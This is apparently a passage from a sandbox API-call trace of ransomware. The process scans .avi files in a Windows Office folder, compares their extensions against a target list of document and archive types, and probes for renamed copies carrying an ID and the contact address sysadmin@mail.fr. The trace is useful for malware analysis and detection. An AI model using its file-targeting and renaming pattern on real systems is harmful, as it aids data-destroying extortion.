	[0179.724] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0179.724] lstrlenW (lpString=".pdf") returned 4
	[0179.724] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0179.724] lstrlenW (lpString=".xls") returned 4
	[0179.724] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0179.724] lstrlenW (lpString=".xlsx") returned 5
	[0179.724] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0179.724] lstrlenW (lpString=".ppt") returned 4
	[0179.724] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0179.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0179.724] lstrlenW (lpString=".zip") returned 4
	[0179.724] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0179.724] lstrlenW (lpString=".rar") returned 4
	[0179.725] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0179.725] lstrlenW (lpString=".bz2") returned 4
	[0179.725] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0179.725] lstrlenW (lpString=".7z") returned 3
	[0179.725] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0179.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0179.725] lstrlenW (lpString=".dbf") returned 4
	[0179.725] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0179.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0179.725] lstrlenW (lpString=".1cd") returned 4
	[0179.725] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0179.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0179.725] lstrlenW (lpString=".jpg") returned 4
	[0179.725] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0179.725] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0179.725] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0179.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0179.726] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=48936) returned 1
	[0179.726] CloseHandle (hObject=0x354) returned 1
	[0179.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20
	[0179.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0179.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0179.726] lstrlenW (lpString=".doc") returned 4
	[0179.727] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0179.727] lstrlenW (lpString=".docx") returned 5
	[0179.727] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0179.727] lstrlenW (lpString=".pdf") returned 4
	[0179.727] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0179.727] lstrlenW (lpString=".xls") returned 4
	[0179.727] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0179.727] lstrlenW (lpString=".xlsx") returned 5
	[0179.727] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0179.727] lstrlenW (lpString=".ppt") returned 4
	[0179.727] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0179.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0179.727] lstrlenW (lpString=".zip") returned 4
	[0179.727] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0179.727] lstrlenW (lpString=".rar") returned 4
	[0179.727] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0179.727] lstrlenW (lpString=".bz2") returned 4
	[0179.727] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0179.727] lstrlenW (lpString=".7z") returned 3
	[0179.727] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0179.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0179.727] lstrlenW (lpString=".dbf") returned 4
	[0179.727] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0179.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0179.727] lstrlenW (lpString=".1cd") returned 4
	[0179.727] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0179.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0179.728] lstrlenW (lpString=".jpg") returned 4
	[0179.728] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0179.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0179.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0179.728] lstrlenW (lpString=".doc") returned 4
	[0179.728] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0179.728] lstrlenW (lpString=".docx") returned 5
	[0179.728] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0179.728] lstrlenW (lpString=".pdf") returned 4
	[0179.728] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0179.728] lstrlenW (lpString=".xls") returned 4
	[0179.728] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0179.728] lstrlenW (lpString=".xlsx") returned 5
	[0179.728] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0179.728] lstrlenW (lpString=".ppt") returned 4
	[0179.728] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0179.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0179.728] lstrlenW (lpString=".zip") returned 4
	[0179.728] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0179.728] lstrlenW (lpString=".rar") returned 4
	[0179.728] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0179.728] lstrlenW (lpString=".bz2") returned 4
	[0179.728] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0179.728] lstrlenW (lpString=".7z") returned 3
	[0179.728] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0179.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0179.728] lstrlenW (lpString=".dbf") returned 4
	[0179.728] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0179.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0179.729] lstrlenW (lpString=".1cd") returned 4
	[0179.729] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0179.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0179.729] lstrlenW (lpString=".jpg") returned 4
	[0179.729] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0179.729] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0179.729] lstrlenW (lpString="boxed-join.avi") returned 14
	[0179.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0179.730] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=46622) returned 1
	[0179.730] CloseHandle (hObject=0x354) returned 1
	[0179.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20
	[0179.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0179.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0179.730] lstrlenW (lpString=".doc") returned 4
	[0179.730] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0179.730] lstrlenW (lpString=".docx") returned 5
	[0179.730] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0179.730] lstrlenW (lpString=".pdf") returned 4
	[0179.730] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0179.730] lstrlenW (lpString=".xls") returned 4
	[0179.730] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0179.731] lstrlenW (lpString=".xlsx") returned 5
	[0179.731] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0179.731] lstrlenW (lpString=".ppt") returned 4
	[0179.731] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0179.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0179.731] lstrlenW (lpString=".zip") returned 4
	[0179.731] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0179.731] lstrlenW (lpString=".rar") returned 4
	[0179.731] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0179.731] lstrlenW (lpString=".bz2") returned 4
	[0179.731] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0179.731] lstrlenW (lpString=".7z") returned 3
	[0179.731] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0179.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0179.731] lstrlenW (lpString=".dbf") returned 4
	[0179.731] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0179.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0179.731] lstrlenW (lpString=".1cd") returned 4
	[0179.731] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0179.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0179.731] lstrlenW (lpString=".jpg") returned 4
	[0179.731] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0179.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0179.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0179.731] lstrlenW (lpString=".doc") returned 4
	[0179.731] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0179.731] lstrlenW (lpString=".docx") returned 5
	[0179.731] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0179.732] lstrlenW (lpString=".pdf") returned 4
	[0179.732] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0179.732] lstrlenW (lpString=".xls") returned 4
	[0179.732] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0179.732] lstrlenW (lpString=".xlsx") returned 5
	[0179.732] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0179.732] lstrlenW (lpString=".ppt") returned 4
	[0179.732] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0179.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0179.732] lstrlenW (lpString=".zip") returned 4
	[0179.732] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0179.732] lstrlenW (lpString=".rar") returned 4
	[0179.732] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0179.732] lstrlenW (lpString=".bz2") returned 4
	[0179.732] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0179.732] lstrlenW (lpString=".7z") returned 3
	[0179.732] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0179.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0179.732] lstrlenW (lpString=".dbf") returned 4
	[0179.732] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0179.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0179.732] lstrlenW (lpString=".1cd") returned 4
	[0179.732] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0179.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0179.732] lstrlenW (lpString=".jpg") returned 4
	[0179.732] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0179.733] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0179.733] lstrlenW (lpString="boxed-split.avi") returned 15
	[0179.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0179.733] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=84190) returned 1
	[0179.733] CloseHandle (hObject=0x354) returned 1
	[0179.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20
	[0179.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0179.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0179.734] lstrlenW (lpString=".doc") returned 4
	[0179.734] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0179.734] lstrlenW (lpString=".docx") returned 5
	[0179.734] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0179.734] lstrlenW (lpString=".pdf") returned 4
	[0179.734] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0179.734] lstrlenW (lpString=".xls") returned 4
	[0179.734] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0179.734] lstrlenW (lpString=".xlsx") returned 5
	[0179.734] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0179.734] lstrlenW (lpString=".ppt") returned 4
	[0179.734] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0179.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0179.734] lstrlenW (lpString=".zip") returned 4
	[0179.734] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0179.734] lstrlenW (lpString=".rar") returned 4
	[0179.734] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0179.734] lstrlenW (lpString=".bz2") returned 4
	[0179.734] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0179.734] lstrlenW (lpString=".7z") returned 3
	[0179.734] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0179.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0179.734] lstrlenW (lpString=".dbf") returned 4
	[0179.734] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0179.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0179.735] lstrlenW (lpString=".1cd") returned 4
	[0179.735] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0179.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0179.735] lstrlenW (lpString=".jpg") returned 4
	[0179.735] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0179.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0179.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0179.735] lstrlenW (lpString=".doc") returned 4
	[0179.735] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0179.735] lstrlenW (lpString=".docx") returned 5
	[0179.735] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0179.735] lstrlenW (lpString=".pdf") returned 4
	[0179.735] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0179.735] lstrlenW (lpString=".xls") returned 4
	[0179.735] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0179.735] lstrlenW (lpString=".xlsx") returned 5
	[0179.735] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0179.735] lstrlenW (lpString=".ppt") returned 4
	[0179.735] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0179.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0179.735] lstrlenW (lpString=".zip") returned 4
	[0179.735] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0179.735] lstrlenW (lpString=".rar") returned 4
	[0179.735] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0179.735] lstrlenW (lpString=".bz2") returned 4
	[0179.735] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0179.735] lstrlenW (lpString=".7z") returned 3
	[0179.735] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0179.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0179.736] lstrlenW (lpString=".dbf") returned 4
	[0179.736] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0179.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0179.736] lstrlenW (lpString=".1cd") returned 4
	[0179.736] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0179.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0179.736] lstrlenW (lpString=".jpg") returned 4
	[0179.736] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0179.736] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0179.736] lstrlenW (lpString="correct.avi") returned 11
	[0179.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0179.737] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=180172) returned 1
	[0179.737] CloseHandle (hObject=0x354) returned 1
	[0179.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20
	[0179.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0179.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0179.740] lstrlenW (lpString=".doc") returned 4
	[0179.740] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0179.740] lstrlenW (lpString=".docx") returned 5
	[0179.740] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0179.740] lstrlenW (lpString=".pdf") returned 4
	[0179.740] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0179.740] lstrlenW (lpString=".xls") returned 4
	[0179.740] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0179.740] lstrlenW (lpString=".xlsx") returned 5
	[0179.740] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0179.740] lstrlenW (lpString=".ppt") returned 4
	[0179.740] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0179.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0179.740] lstrlenW (lpString=".zip") returned 4
	[0179.740] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0179.741] lstrlenW (lpString=".rar") returned 4
	[0179.741] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0179.741] lstrlenW (lpString=".bz2") returned 4
	[0179.741] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0179.741] lstrlenW (lpString=".7z") returned 3
	[0179.741] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0179.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0179.741] lstrlenW (lpString=".dbf") returned 4
	[0179.741] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0179.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0179.741] lstrlenW (lpString=".1cd") returned 4
	[0179.741] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0179.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0179.741] lstrlenW (lpString=".jpg") returned 4
	[0179.741] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0179.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0179.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0179.741] lstrlenW (lpString=".doc") returned 4
	[0179.741] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0179.741] lstrlenW (lpString=".docx") returned 5
	[0179.741] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0179.741] lstrlenW (lpString=".pdf") returned 4
	[0179.741] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0179.741] lstrlenW (lpString=".xls") returned 4
	[0179.741] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0179.741] lstrlenW (lpString=".xlsx") returned 5
	[0179.741] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0179.741] lstrlenW (lpString=".ppt") returned 4
	[0179.741] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0179.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0179.742] lstrlenW (lpString=".zip") returned 4
	[0179.742] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0179.742] lstrlenW (lpString=".rar") returned 4
	[0179.742] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0179.742] lstrlenW (lpString=".bz2") returned 4
	[0179.742] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0179.742] lstrlenW (lpString=".7z") returned 3
	[0179.742] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0179.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0179.742] lstrlenW (lpString=".dbf") returned 4
	[0179.742] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0179.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0179.742] lstrlenW (lpString=".1cd") returned 4
	[0179.742] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0179.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0179.742] lstrlenW (lpString=".jpg") returned 4
	[0179.742] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0179.742] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0179.742] lstrlenW (lpString="delete.avi") returned 10
	[0179.742] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0179.743] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=208408) returned 1
	[0179.743] CloseHandle (hObject=0x354) returned 1
	[0179.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20
